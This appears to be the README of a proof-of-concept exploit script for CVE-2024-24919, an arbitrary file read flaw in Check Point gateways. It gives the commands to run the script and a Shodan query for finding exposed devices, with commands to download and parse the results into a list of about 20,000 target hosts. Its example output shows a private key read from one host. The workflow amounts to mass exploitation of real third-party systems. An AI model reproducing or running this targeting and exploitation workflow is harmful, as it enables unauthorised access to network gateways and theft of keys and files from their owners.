Intro

Simple POC Python script that check & leverage Check Point CVE-2024-24919 vulnerability (Wrong Check Point); vulnerable to arbitrary file reading.

Requirements

• Python 3
• Pip

Required Library/Module (Install via PIP)

• requests
• urllib3
• tqdm

How To Run

PS C:\> python CVE-2024-24919.py list.txt output.txt
Processing: 100%|████████████████████████████████████████████████████████████████| 20273/20273 [08:53<00:00, 20.55it/s]

Example Output

Start time: 2024-05-31 10:54:01.525638

Host: 2.2.2.2:2222

Host: 3.3.3.3:333
-----BEGIN PRIVATE KEY-----
MAiKY1Ew4CkAogQ0ABwA9iMAIBBDDZIFAiqRAAkwvhSGBNSAEkIFgIBEAQgg/D2p
12krs2ecqo7ijkg1UfdcAJMwD+rRHKvTtKTFitAE7LsCferuwNjtkcMwM7UZAnsY
ON3CmfqoWWsQ8xxnqob/Y101TiQWhgrnU0+T+aHnQTK4VX/JRSjWSWNyT20Wj7AG
h0HuL5YROgPQr8ShnYQVdLqGr0HwZoyfJNiEEH7Z/zWHattt53iBbv8SiMGRPP+1
5f12n7+HH4E9gwpAeB3NuyI+RaXrisWHgx85tySmYCebB+5TbVTFjNlf2c4jf/S4
sHNjIiuDYavvdM6Sk8DOWIynVoXba6nBFhIxQzdMiUK0/MmUhCycwnn/9TfTX+9r
5CzRE6OOAOBgydAAEggB5YM3BrAbLkA+uLernLUL3nR0B0mda26h0k25NSkDfUbL
<SNIP>
mUzyzLweFCKvCdqv67sBrDu2NICKUumeEw50VadgKHS75wf1gQdtpFgXIPH2H5/v
Af15vb7HYHGn6hDJqqCfJ8v2h9ZXY8OOGOZYOXUv53y+MOnhbCt6zOB384ZvHWUL
eY4gkds6qDk3UmdTWTrRqvgaztZSu9AYdB9ENA8CKkp0ALlIjtfdGzo9Ngvbrrl1
R8ogQgMBT2kqE2Ae+e3jMvSqnXpnAkm0RUCb5EVyGBz3+r9xOtQEF4eZ9/jGuHio
wNjAWDvopYPOHz2T0i1j1BLCIUz/PncbcOnyrtaiW00FDF6L5KsUwWA3NM+28bQ+
Cx2m4vQ/3MJ0VSRKFl3+tMHkAodAqzxSRS13kBjgUtOyAYZCWbdAnGU5FaKBBvSl
EM1S2ciQhm1cyw/eBzCms5vP9WaiNX/zASm3J281Hl2yBp5GMNwMxJOA8gjVhI7S
iOg1WSHhB/ZLvRjt9TY3sDgCHdc6H8BdhCJ/IIIyFUFOUpRPevH7d0gyJuYLMC/l
vT09V0iWtcIJPQrSxokBYR==
-----END PRIVATE KEY-----

Finish time: 2024-05-31 11:02:56.068105

Shodan Query

http.favicon.hash:794809961

• Download Shodan result:

PS C:\> shodan download --limit -1 CVE-2024-24919.json.gz http.favicon.hash:794809961
Search query:                   http.favicon.hash:794809961
Total number of results:        20273
Query credits left:             99999
Output file:                    CVE-2024-24919.json.gz
  [###################################-]   99%  00:00:00
Saved 20273 results into file CVE-2024-24919.json.gz

• Parse Shodan result:

PS C:\> shodan parse CVE-2024-24919.json --fields ip_str,port > list.txt

Reference

• https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/